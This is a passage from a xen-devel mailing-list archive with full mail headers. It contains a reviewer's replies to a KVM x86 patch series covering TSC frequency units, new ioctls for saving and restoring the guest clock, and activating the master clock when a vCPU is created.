	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Content-Type: text/plain; charset="us-ascii"
X-purgate-ID: tlsNG-16d1c6/1784927413-1EEC477B-CF795C26/0/0
X-purgate-type: clean
X-purgate-size: 1950

On Fri, Jul 03, 2026, David Woodhouse wrote:
> diff --git a/arch/x86/include/asm/kvm_host.h b/arch/x86/include/asm/kvm_host.h
> index f14009f25a3b..b2446c04a076 100644
> --- a/arch/x86/include/asm/kvm_host.h
> +++ b/arch/x86/include/asm/kvm_host.h
> @@ -950,7 +950,7 @@ struct kvm_vcpu_arch {
>  	gpa_t time;
>  	s8  pvclock_tsc_shift;
>  	u32 pvclock_tsc_mul;
> -	unsigned int hw_tsc_khz;
> +	u64 hw_tsc_hz;
>  	struct gfn_to_pfn_cache pv_time;
>  	/* set guest stopped flag in pvclock flags field */
>  	bool pvclock_set_guest_stopped_request;
> diff --git a/arch/x86/kvm/cpuid.c b/arch/x86/kvm/cpuid.c
> index e69156b54cff..621d950ec692 100644
> --- a/arch/x86/kvm/cpuid.c
> +++ b/arch/x86/kvm/cpuid.c
> @@ -2131,7 +2131,7 @@ bool kvm_cpuid(struct kvm_vcpu *vcpu, u32 *eax, u32 *ebx,
>  				*ecx = vcpu->arch.pvclock_tsc_mul;
>  				*edx = vcpu->arch.pvclock_tsc_shift;
>  			} else if (index == 2) {
> -				*eax = vcpu->arch.hw_tsc_khz;
> +				*eax = div_u64(vcpu->arch.hw_tsc_hz, 1000);

Kinda silly, but s/1000/HZ_PER_KHZ.

>  			}
>  		}
>  	} else {
> diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
> index 0550359ed798..dbcff49cd561 100644
> --- a/arch/x86/kvm/x86.c
> +++ b/arch/x86/kvm/x86.c
> @@ -3314,7 +3314,8 @@ static void kvm_setup_guest_pvclock(struct pvclock_vcpu_time_info *ref_hv_clock,
>  int kvm_guest_time_update(struct kvm_vcpu *v)
>  {
>  	struct pvclock_vcpu_time_info hv_clock = {};
> -	unsigned long flags, tgt_tsc_khz;
> +	unsigned long flags;
> +	u64 tgt_tsc_hz;
>  	unsigned seq;
>  	struct kvm_vcpu_arch *vcpu = &v->arch;
>  	struct kvm_arch *ka = &v->kvm->arch;
> @@ -3340,8 +3341,8 @@ int kvm_guest_time_update(struct kvm_vcpu *v)
>  
>  	/* Keep irq disabled to prevent changes to the clock */
>  	local_irq_save(flags);
> -	tgt_tsc_khz = get_cpu_tsc_khz();
> -	if (unlikely(tgt_tsc_khz == 0)) {
> +	tgt_tsc_hz = (u64)get_cpu_tsc_khz() * 1000;

Here too.


From xen-devel-bounces@lists.xenproject.org Fri Jul 24 21:17:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 21:17:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370230.1618464 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnNGm-0001FU-Re; Fri, 24 Jul 2026 21:17:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370230.1618464; Fri, 24 Jul 2026 21:17:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnNGm-0001FN-O0; Fri, 24 Jul 2026 21:17:24 +0000
Received: by outflank-mailman (input) for mailman id 1370230;
 Fri, 24 Jul 2026 21:17:23 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3X9ZjagYKCfQoaWjfYckkcha.Ykitaj-Zarahheopo.tajlnkfaYp.knc@flex--seanjc.bounces.google.com>)
 id 1wnNGl-0001FH-Df
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 21:17:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnNGk-0056Ay-FY
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 23:17:22 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3X9ZjagYKCfQoaWjfYckkcha.Ykitaj-Zarahheopo.tajlnkfaYp.knc@flex--seanjc.bounces.google.com>)
 id 6a63d630-5cb7-0a2a0a5109dd-0a2a4502851e-16
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 23:17:22 +0200
Received: from [209.85.215.198] (helo=mail-pg1-f198.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3X9ZjagYKCfQoaWjfYckkcha.Ykitaj-Zarahheopo.tajlnkfaYp.knc@flex--seanjc.bounces.google.com>)
 id 6a63d660-6ca4-0a2a45020019-d155d7c6d1e5-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 23:17:22 +0200
Received: by mail-pg1-f198.google.com with SMTP id
 41be03b00d2f7-ca7c1e22995so1299815a12.3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 14:17:21 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1784927840; x=1785532640; darn=lists.xenproject.org;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=qaDJGo3QzvQFzPZvOWzcRrVUb5WUbdae9wGlen05sOY=;
        b=gVt74gOMkphkrR0XjG4epZt50AYFCuWbJ2sRM3Xodl8P/lDae/anCA+Srj0hn832Mh
         qNgrXtyStDcOLguW7UIO0wPzkzFBTE4LvDy4+h1kSyxfG+GPY0GXtiiC8Vqc6MUZ1bQg
         M3nsbz9qCwg4W7djOnSsIEEcCYrQk0fwvzeG/PQEiglmzs3CETMKmIe4VuwkoKkQfoiX
         3E+sq7NszRdpDf2UWOVkgdZv9lwcj8BBPVfOh++vOMKY/4SANYwnUankkF4g6jnSIQpY
         Uran2s0eLo/srR78oOza3oq69VVjaM1PnI9JWsnaELXSFBqCds1aMFqZ2R//7nJI49RM
         hhzA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784927840; x=1785532640;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=qaDJGo3QzvQFzPZvOWzcRrVUb5WUbdae9wGlen05sOY=;
        b=E8jZsomV1Du+9EWbYekJ3RhbNiyqMb2u6Oh4H5kaJeOd8/Izu+9/HU2G285td/JoCO
         MDEEAy5EY0poQqUgqyyuklJL4zxqibUPckEoA6tcjFOropea4D7iFYxG4dbjuP8jVW5P
         xrUUeSc9kMHKTb+BkwWjo0+t6FornfsGPAzc9nLemeKsiM6v383BDVCu7kZe8+2JEnOY
         +kwncI1JT1ykspiMCRzHisxYvSxyzF+EM6xYUutW5hAVzdrcrcr3A+YBEvoJbEnbb5t7
         4Rv/RioFuz0wyVvI+fZQeuHZRS6cGZIbYcjSGabu9pM5KmJujJM4P3kSm9xQbRUEuROp
         4avA==
X-Forwarded-Encrypted: i=1; AHgh+Rq6ppUcp19XjRnT8v0+aGpSI/+ZZRGX6VLPiBG1Qp/wxkgCm7I7ERds5wfcaAaM5F3KlbK4yj1opGM=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxSZxlndJO9uchPOj4IdLS0FJW3Vx+GdwUE33jxvHO/V9UKPMO0
	2IapsB+cXIlfbcwyL0F7SfqUx53cDU6aV8EOY3l1qKgCtxFe2UHQ+VxaOF0g2dpFBz2sPBynUL6
	blzXHFQ==
X-Received: from pgac25.prod.google.com ([2002:a05:6a02:2959:b0:c8d:62a8:ee35])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a21:3993:b0:3c0:9c19:65b4
 with SMTP id adf61e73a8af0-3c67e19bcedmr3486637.76.1784927839948; Fri, 24 Jul
 2026 14:17:19 -0700 (PDT)
Date: Fri, 24 Jul 2026 14:17:19 -0700
In-Reply-To: <20260703212145.343527-6-dwmw2@infradead.org>
Mime-Version: 1.0
References: <20260703212145.343527-1-dwmw2@infradead.org> <20260703212145.343527-6-dwmw2@infradead.org>
Message-ID: <amPWX8lKXw2KS_kZ@google.com>
Subject: Re: [PATCH v6 05/36] KVM: x86: Add KVM_[GS]ET_CLOCK_GUEST for
 accurate KVM clock migration
From: Sean Christopherson <seanjc@google.com>
To: David Woodhouse <dwmw2@infradead.org>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
	Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Content-Type: text/plain; charset="us-ascii"
X-purgate-ID: tlsNG-720697/1784927842-67ABD2AC-1E3D6D05/0/0
X-purgate-type: clean
X-purgate-size: 4244

On Fri, Jul 03, 2026, David Woodhouse wrote:
> From: Jack Allister <jalliste@amazon.com>
> 
> In the common case (where kvm->arch.use_master_clock is true), the KVM
> clock is defined as a simple arithmetic function of the guest TSC, based
> on a reference point stored in kvm->arch.master_kernel_ns and
> kvm->arch.master_cycle_now.
> 
> The existing KVM_[GS]ET_CLOCK functionality does not allow for this
> relationship to be precisely saved and restored by userspace. All it can
> currently do is set the KVM clock at a given UTC reference time, which
> is necessarily imprecise.
> 
> So on live update, the guest TSC can remain cycle accurate at precisely
> the same offset from the host TSC, but there is no way for userspace to
> restore the KVM clock accurately.
> 
> Even on live migration to a new host, where the accuracy of the guest
> time-keeping is fundamentally limited by the accuracy of wallclock
> synchronization between the source and destination hosts, the clock jump
> experienced by the guest's TSC and its KVM clock should at least be
> *consistent*. Even when the guest TSC suffers a discontinuity, its KVM
> clock should still remain the *same* arithmetic function of the guest
> TSC, and not suffer an *additional* discontinuity.
> 
> To allow for accurate migration of the KVM clock, add per-vCPU ioctls
> which save and restore the actual PV clock info in
> pvclock_vcpu_time_info.
> 
> The restoration in KVM_SET_CLOCK_GUEST works by creating a new reference
> point in time just as kvm_update_masterclock() does, and calculating the
> corresponding guest TSC value. This guest TSC value is then passed
> through the user-provided pvclock structure to generate the *intended*
> KVM clock value at that point in time, and through the *actual* KVM
> clock calculation. Then kvm->arch.kvmclock_offset is adjusted to
> eliminate the difference.
> 
> Where kvm->arch.use_master_clock is false (because the host TSC is
> unreliable, or the guest TSCs are configured strangely), the KVM clock
> is *not* defined as a function of the guest TSC so KVM_GET_CLOCK_GUEST
> returns an error. In this case, as documented, userspace shall use the
> legacy KVM_GET_CLOCK ioctl. The loss of precision is acceptable in this
> case since the clocks are imprecise in this mode anyway.
> 
> On *restoration*, if kvm->arch.use_master_clock is false, an error is
> returned for similar reasons and userspace shall fall back to using
> KVM_SET_CLOCK. This does mean that, as documented, userspace needs to
> use *both* KVM_GET_CLOCK_GUEST and KVM_GET_CLOCK and send both results
> with the migration data (unless the intent is to refuse to resume on a
> host with bad TSC).

Please post this as a standalone mini-series.  AFAICT, the only dependency of
any kind is a minor conflict with the s/hw_tsc_khz/hw_tsc_hz change, and that's
trivial to sort out later on.

I'm comfortable stumbling my way through the clock fixes, but I want Paolo (and
others) eyeballs on new uAPI like this.  And because this series is plenty big
without this one :-)

> Co-developed-by: David Woodhouse <dwmw@amazon.co.uk>
> Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
> Signed-off-by: Jack Allister <jalliste@amazon.com>
> Reviewed-by: Paul Durrant <paul@xen.org>
> Cc: Dongli Zhang <dongli.zhang@oracle.com>
> Tested-by: Dongli Zhang <dongli.zhang@oracle.com>
> ---
>  Documentation/virt/kvm/api.rst  |  37 +++++++
>  arch/x86/include/uapi/asm/kvm.h |   1 +
>  arch/x86/kvm/x86.c              | 171 ++++++++++++++++++++++++++++++++
>  include/uapi/linux/kvm.h        |   3 +
>  4 files changed, 212 insertions(+)
> 
> diff --git a/Documentation/virt/kvm/api.rst b/Documentation/virt/kvm/api.rst
> index 52bbbb553ce1..2268b4442df6 100644
> --- a/Documentation/virt/kvm/api.rst
> +++ b/Documentation/virt/kvm/api.rst
> @@ -6553,6 +6553,43 @@ KVM_S390_KEYOP_SSKE
>    Sets the storage key for the guest address ``guest_addr`` to the key
>    specified in ``key``, returning the previous value in ``key``.
>  
> +4.145 KVM_GET_CLOCK_GUEST
> +----------------------------
> +
> +:Capability: none

Why not add a CAP?  The check in the subsequent selftest is quite gross.


From xen-devel-bounces@lists.xenproject.org Fri Jul 24 21:19:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 21:19:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370237.1618473 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnNIh-0001mT-58; Fri, 24 Jul 2026 21:19:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370237.1618473; Fri, 24 Jul 2026 21:19:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnNIh-0001mM-2B; Fri, 24 Jul 2026 21:19:23 +0000
Received: by outflank-mailman (input) for mailman id 1370237;
 Fri, 24 Jul 2026 21:19:22 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <31tZjagYKCW0dPLYUNRZZRWP.NZXiPY-OPgPWWTded.iPYacZUPNe.ZcR@flex--seanjc.bounces.google.com>)
 id 1wnNIf-0001mD-VD
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 21:19:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnNIf-007ok2-1x
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 23:19:21 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <31tZjagYKCW0dPLYUNRZZRWP.NZXiPY-OPgPWWTded.iPYacZUPNe.ZcR@flex--seanjc.bounces.google.com>)
 id 6a63d6d4-2eae-0a2a0a5409dd-0a2a4504ba58-4
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 23:19:21 +0200
Received: from [209.85.210.198] (helo=mail-pf1-f198.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <31tZjagYKCW0dPLYUNRZZRWP.NZXiPY-OPgPWWTded.iPYacZUPNe.ZcR@flex--seanjc.bounces.google.com>)
 id 6a63d6d7-b57f-0a2a45040019-d155d2c6ec83-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 23:19:20 +0200
Received: by mail-pf1-f198.google.com with SMTP id
 d2e1a72fcca58-848544a8496so873838b3a.0
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 14:19:20 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1784927959; x=1785532759; darn=lists.xenproject.org;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=676jeBy0EAQIqzdr2xZT677bczXPwQb8CdOlVs2oUJg=;
        b=ErX5XhbHtMmVnMX66xLkIHnW7mkoMq4NAoTwe+QbOk7njW1nWMBea8YCaGkFgAkjB+
         aUHb3lPwzftPeyVBjt2K69MZFwH+OyhHSCeBIEpQN8bz0Slj6Akc88N6Udns9poxzmZ9
         LPu+H6btR+0Gqr9Yj0icPxusV8g5ifDUtoe1GLIFnCuTS4yxzP5kAcaX5AoeEF3SaApg
         8r0WVVRvVA2qUcYeAfiuU3A/L8v7G1eI+gowJRDDbAcibhiH7U56fvMlqYbH3bOf/Ssg
         kx9e7u9zCvm9CT6N+so81p2uVrMENfvn1K9EEOXQx1oNfZStmqh/nZCP8jSW77TVKGqI
         bB2A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784927959; x=1785532759;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=676jeBy0EAQIqzdr2xZT677bczXPwQb8CdOlVs2oUJg=;
        b=C+HidLFNmUz3vGAb3PT706f3njPZ7t9RsCZipPJ8DmSLcl20PKDZ2btYxlPSRFcnIQ
         15OvES+TpFjzr4wgYGZJsD02xMkN86dnk0vTocx/BDLLMM9qgPANQPfNSdyIQAjE+Mgx
         9c1WWRdxAjxrtns2Hibjb5ocJJPkxygG6n+dgXmrnA2DWc7fqEpQ8daYCydM0SPLYzlS
         sOQO0/yT3Y9wiNXV4rKQYifaX1pDuwHWtje5F/zuDU4OveM54JLGhQ2FF+XS80HFYYj8
         OkswhCtqYA30fYsjnd9xcNxYjkltyuYelZxbtwVf+NYREXpax1KxojfIJ55RNPxEWR6C
         qXGg==
X-Forwarded-Encrypted: i=1; AHgh+RqAj/1tr1iywr8ZVip+V3ZgygTWszEzrzBnSP0ct10QJok9P0CAG11Vi4FP7kE23n1woj1cqzD1Ej8=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yzjz7VJmT74qd0UywGZSC2z3gkJJOJc/pKZzdvZxpbobOdr/Pce
	NpmxtV2c0v+uSJdGIXhU2YFTeeJzuC1hurer8ax4L7b2PvdZRC3OJPNQz7XL4WDgbo3GzwcC5o2
	zQEJfTw==
X-Received: from pgbf36.prod.google.com ([2002:a63:5124:0:b0:c99:aff5:708e])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a21:a8e:b0:3c0:9c19:b275
 with SMTP id adf61e73a8af0-3c67e027041mr22595637.67.1784927958810; Fri, 24
 Jul 2026 14:19:18 -0700 (PDT)
Date: Fri, 24 Jul 2026 14:19:17 -0700
In-Reply-To: <20260703212145.343527-9-dwmw2@infradead.org>
Mime-Version: 1.0
References: <20260703212145.343527-1-dwmw2@infradead.org> <20260703212145.343527-9-dwmw2@infradead.org>
Message-ID: <amPW1eAPpUuxLoj_@google.com>
Subject: Re: [PATCH v6 08/36] KVM: x86: Activate master clock immediately on
 vCPU creation
From: Sean Christopherson <seanjc@google.com>
To: David Woodhouse <dwmw2@infradead.org>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
	Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Content-Type: text/plain; charset="us-ascii"
X-purgate-ID: tlsNG-ebf023/1784927961-510DDB50-9194D1EA/0/0
X-purgate-type: clean
X-purgate-size: 1608

On Fri, Jul 03, 2026, David Woodhouse wrote:
> From: David Woodhouse <dwmw@amazon.co.uk>
> 
> Previously, the master clock was only activated when the first vCPU
> processed KVM_REQ_MASTERCLOCK_UPDATE during KVM_RUN. This meant that
> KVM_GET_CLOCK could not return the host_tsc field until after the
> first KVM_RUN, making it impossible for userspace to follow the
> documented TSC migration procedure without a dummy vCPU run.
> 
> Fix this by calling kvm_update_masterclock() directly from
> kvm_arch_vcpu_postcreate(), after kvm_synchronize_tsc() has already
> set all_vcpus_matched_freq. This ensures the master clock is active
> immediately, and KVM_GET_CLOCK returns a valid {host_tsc, realtime}
> pair as soon as a vCPU exists.
> 
> Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
> ---
>  arch/x86/kvm/x86.c | 2 ++
>  1 file changed, 2 insertions(+)
> 
> diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
> index ff45577ed90c..2039bd8518fb 100644
> --- a/arch/x86/kvm/x86.c
> +++ b/arch/x86/kvm/x86.c
> @@ -13110,6 +13110,8 @@ void kvm_arch_vcpu_postcreate(struct kvm_vcpu *vcpu)
>  		return;
>  	vcpu_load(vcpu);
>  	kvm_synchronize_tsc(vcpu, NULL);
> +	if (!vcpu->kvm->arch.use_master_clock)

Any reason this can't be?

	if (kvm_check_request(KVM_REQ_MASTERCLOCK_UPDATE, vcpu))
		kvm_update_masterclock(vcpu->kvm);

> +		kvm_update_masterclock(vcpu->kvm);

I don't love doing work outside of KVM_RUN that is typically handled by KVM_RUN,
but this seems fine?

>  	vcpu_put(vcpu);
>  
>  	/* poll control enabled by default */
> -- 
> 2.54.0
> 


From xen-devel-bounces@lists.xenproject.org Fri Jul 24 21:20:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 21:20:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370244.1618481 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnNJn-0003EC-DH; Fri, 24 Jul 2026 21:20:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370244.1618481; Fri, 24 Jul 2026 21:20:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnNJn-0003E4-AE; Fri, 24 Jul 2026 21:20:31 +0000
Received: by outflank-mailman (input) for mailman id 1370244;
 Fri, 24 Jul 2026 21:20:30 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@gmail.com>) id 1wnNJm-0003Dy-0g
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 21:20:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnNJl-005oJN-Dg
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 23:20:29 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@gmail.com>)
 id 6a63d6e0-e002-0a2a0a5209dd-0a2a45058318-46
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 23:20:29 +0200
Received: from [209.85.215.181] (helo=mail-pg1-f181.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@gmail.com>)
 id 6a63d71b-4cb1-0a2a45050019-d155d7b5d439-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 23:20:29 +0200
Received: by mail-pg1-f181.google.com with SMTP id
 41be03b00d2f7-ca12086c06eso749687a12.0
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 14:20:28 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=redhat.com header.i="@redhat.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1784928027; cv=none;
        d=google.com; s=arc-20260327;
        b=hnDhozoSoJHfBc+xyUWTKBC4HfQbEXGP6V0nAUwIS7VcZALo0yESM2LtmgbRYhT6u5
         6CEE4710kCHMNSxdDQDpXkYCr45h9cbLDECUXvYp0OMxFymPChsSmtc2q+N/aqzp1u4f
         Fbbu+w6yKTVkbeTaYDbpFciGskaRRCWWJ0+wKzqn4uGUi4IILjSCHWhuIgqyL4X655A/
         FRWqaISkPvLaDoTb2bSPTiz5wVrClDtcufcKhX4khz0JM79vvaXJ9qrkIKz/ZCJvNe3C
         guxLnpNtkMeYrWEywEdcac+1Uta+XWpoYj+125/Eo8Yl+YHLcjsLoVJJYsUtiTmFiHVx
         TyHQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=/2m0dqcoMneC3Zf15VEtk2J/x4FvDYNzHSWnoIQbyCM=;
        fh=SyT053ljnhqOzbbXkLLuNSP6fA0uzMsv4ECq2hzhfN4=;
        b=PcnU5ta2bJPuam8AldskWrxa7FUS9EiEoXxF7z6S59kEaughroEtpfkmIgicHk9Qju
         939At7B7FzPZJX9Z4l6Ru2dU8B9egihgxgnVIaFKxkyqcZ76WOoAFxmFdm4Y4ri039Nl
         WJOSy0jIwDHuir1aJM1qW9Ul8/QAfvfd4Q3rqqVYCdmfHDEY9OiuMS+DEmnC5CbPTaEa
         aAq++wrVKHAPKtzhxi1cLZxBjlOfaMrigp/3UpEqAeBUY3QLcyJG5zZ8kOXZwb3UOK5B
         Sq5tfAlKEj88B0YmTp8UBq/y7AKpYsitJTn8kmA0etDvQwV8oQVZrg3TASnA01kr7Qwj
         Rj+Q==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
